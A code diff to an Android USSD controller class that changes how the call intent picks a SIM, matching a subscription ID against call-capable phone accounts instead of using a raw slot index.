-     * @param uri     parsed uri to call
-     * @param simSlot simSlot number to use
+     * @param uri parsed uri to call
      */
     @SuppressLint("MissingPermission")
-    private Intent getActionCallIntent(Uri uri, int simSlot) {
-        // https://stackoverflow.com/questions/25524476/make-call-using-a-specified-sim-in-a-dual-sim-device
+    private Intent getActionCallIntent(Uri uri, int subId) {
+        Intent intent = new Intent(Intent.ACTION_CALL, uri);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra("com.android.phone.force.slot", true);
+        intent.putExtra("Cdma_Supp", true);
+        PhoneAccountHandle phoneAccountHandle = null;
+        int slotIndex = -1;
+        TelecomManager telecomManager = (TelecomManager) context.getSystemService(Context.TELECOM_SERVICE);
+        if (telecomManager != null) {
+            List<PhoneAccountHandle> phoneAccountHandleList = telecomManager.getCallCapablePhoneAccounts();
+            TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
+            if (phoneAccountHandleList != null) {
+                XLog.i("phoneAccountHandleList.size() == " + phoneAccountHandleList.size());
+            }
+            for (int i = 0; i < phoneAccountHandleList.size(); i++) {
+                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
+                    if (subId == telephonyManager.getSubscriptionId(phoneAccountHandleList.get(i))) {
+                        XLog.i("subId 匹配成功, subId == " + subId);
+                        phoneAccountHandle = phoneAccountHandleList.get(i);
+                        slotIndex = SubscriptionManager.getSlotIndex(subId);
+                        break;
+                    } else {
+                        XLog.i("subId == " + subId + ", telephonyManager.getSubscriptionId(phoneAccountHandleList.get(i)) == " + telephonyManager.getSubscriptionId(phoneAccountHandleList.get(i)));
+                    }
+
+                }
+            }
+            if (phoneAccountHandle != null) {
+                intent.putExtra("android.telecom.extra.PHONE_ACCOUNT_HANDLE", phoneAccountHandle);
+
+            }
+            if (phoneAccountHandle == null) {
+                if (callbackInvoke != null) {
+                    callbackInvoke.over("phoneAccountHandle == " + phoneAccountHandle);
+                }
+                return null;
+            }
+        }
+        if (slotIndex == -1) {
+            if (callbackInvoke != null) {
+                callbackInvoke.over("slotIndex == " + slotIndex);
+            }
+            return null;
+        }
         final String simSlotName[] = {
                 "extra_asus_dial_use_dualsim",
                 "com.android.phone.extra.slot",
@@ -189,20 +233,8 @@ public class USSDController implements USSDInterface, USSDApi {
                 "slotIdx"
         };
 
-        Intent intent = new Intent(Intent.ACTION_CALL, uri);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        intent.putExtra("com.android.phone.force.slot", true);
-        intent.putExtra("Cdma_Supp", true);
-
         for (String s : simSlotName)
-            intent.putExtra(s, simSlot);
-
-        TelecomManager telecomManager = (TelecomManager) context.getSystemService(Context.TELECOM_SERVICE);
-        if (telecomManager != null) {
-            List<PhoneAccountHandle> phoneAccountHandleList = telecomManager.getCallCapablePhoneAccounts();
-            if (phoneAccountHandleList != null && phoneAccountHandleList.size() > simSlot)
-                intent.putExtra("android.telecom.extra.PHONE_ACCOUNT_HANDLE", phoneAccountHandleList.get(simSlot));
-        }
+            intent.putExtra(s, slotIndex);
         return intent;
     }